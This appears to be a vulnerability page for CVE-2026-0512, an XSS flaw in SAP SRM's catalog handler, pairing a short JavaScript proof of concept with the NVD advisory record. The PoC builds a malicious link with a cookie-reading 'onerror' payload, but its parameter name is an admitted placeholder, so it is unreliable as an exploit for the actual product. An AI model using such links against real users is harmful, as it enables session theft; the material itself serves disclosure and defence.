CVE-2026-0512

// Proof of Concept for CVE-2026-0512 // Target: SAP SRM Catalog SICF Handler // Description: Demonstrates how a malicious payload can be injected via URL. // 1. Construct the base URL of the vulnerable SAP SRM Catalog handler var targetUrl = "https://[target-host]/sap/bc/webdynpro_abap/srm_cat_handler/"; // 2. Define the malicious JavaScript payload // This payload simply alerts the document cookie to demonstrate execution var xssPayload = "<img src=x onerror=alert(document.cookie)>"; // 3. Inject the payload into a vulnerable parameter (e.g., 'input_data' or similar) // Note: The specific parameter name depends on the actual implementation details found in the SAP Handler var exploitUrl = targetUrl + "?vulnerable_param=" + encodeURIComponent(xssPayload); // Output the generated malicious link console.log("[+] Generated Malicious URL:"); console.log(exploitUrl); // 4. If a victim clicks the link, the script executes in the context of the victim's browser session.

{"cve": {"id": "CVE-2026-0512", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:03.700", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a Cross-Site Scripting (XSS) vulnerability in the SAP Supplier Relationship Management (SICF Handler in SRM Catalog), an unauthenticated attacker could craft a malicious URL, that if accessed by a victim, results in execution of malicious content within the victim's browser. This could allow the attacker to access and modify information, impacting the confidentiality and integrity of the application, while availability remains unaffected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://me.sap.com/notes/3645228", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}